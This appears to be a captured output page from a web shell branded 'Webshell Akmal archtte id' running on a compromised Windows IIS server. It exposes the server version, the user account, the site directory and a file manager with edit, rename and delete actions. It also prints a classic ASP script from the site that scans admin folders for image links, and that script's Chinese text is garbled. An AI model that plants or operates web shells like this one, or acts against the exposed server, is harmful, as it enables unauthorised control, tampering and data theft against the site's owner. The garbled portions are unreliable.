Webshell Akmal archtte id

System: Microsoft Windows NT 10.0.20348.0

Server: Microsoft-IIS/10.0

User: buyyou

Directory: C:\MyData\WWW\asc365\

Name	Size	Type	Actions
ASC365_CANADA	-	Directory	Rename Delete
ASC365_Store01	-	Directory	Rename Delete
aspnet_client	-	Directory	Rename Delete
CompanyImage	-	Directory	Rename Delete
TJGS_USA	-	Directory	Rename Delete
zhijian	-	Directory	Rename Delete
Memo.inc	0 bytes	.inc	Edit Rename Delete
web.config	213 bytes	.config	Edit Rename Delete

<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>У���Ʒ��Ϣ</title>
</head>

<body>
<div align="center">
  <%
Server.ScriptTimeOut=9999  
set fs=Server.CreateObject("Scripting.FileSystemObject")
Dim Dingdan(10000)
Dim Detail(1000000,3)
Dim WW(100000)
id_w =  0
Dim DL(1000)
zong = 0
daixiu = 0
ershou = 0
'response.write(replace("abcdefgabc","abc","vvv"))
'response.write(instr("defg","abc"))
flg=0
for i=0 to 999
    danhao1 = right("00"&i, 3)
    Temp1 = server.MapPath("../../Admin/"& danhao1)
    if true = fs.FolderExists(Temp1) then
        for j=0 to 999
            danhao2 = right("00"&j, 3)
            Temp2 = server.MapPath("../../Admin/"& danhao1 & "/" & danhao2)
            if true = fs.FolderExists(Temp2) then
                Temp3 = server.MapPath("../../Admin/"& danhao1 &"/"& danhao2 & "/0000mainpage.htm")
                if true = fs.FileExists(Temp3) then
                    '���ww
                    for k = 0 to id_w
                        WW(i) = ""
                    next
                    id_w = 0 
                    flg = 0
                    set f = fs.OpenTextFile(Temp3, 1)
                    k = 0
                    do while false = f.AtEndOfStream
                        WW(id_w) = trim(f.Readline)
                        '����ַ���
                        if instr(WW(id_w),"http:") and instr(WW(id_w),"img") then '�����滻
                            if instr(WW(id_w),"http://cdn.topseller365.com") = 0  and instr(WW(id_w),"http://www.buyyou.net") = 0  and instr(WW(id_w),"http://173.248.132.52") = 0   and instr(WW(id_w),"http://buyyou.net") = 0and instr(WW(id_w),"https://buyyou.net") = 0 then
                                response.write(WW(id_w)& danhao1 & danhao2 & "</br>")
                            end if
                        '    WW(id_w) = replace(WW(id_w),"http://buyyou.net","https://buyyou.net")
                        '    WW(id_w) = replace(WW(id_w),"http://173.248.132.52","https://buyyou.net")
                        '    WW(id_w) = replace(WW(id_w),"http://www.buyyou.net","https://buyyou.net")
                        '    WW(id_w) = replace(WW(id_w),"http://cdn.topseller365.com","https://buyyou.net")
                        '    flg = 1
                      '      response.write(WW(id_w) & "<br>")
                        end if
                        id_w = id_w*1 + 1
                    loop
                    f.close :set f = nothing
                end if
            end if
        next
    end if
next
set f = nothing
%>
<table>
<tr>
<td>��Ʒ����</td>
<td>������</td>
<td>���ܿ��</td>
</tr>

</body>
</html>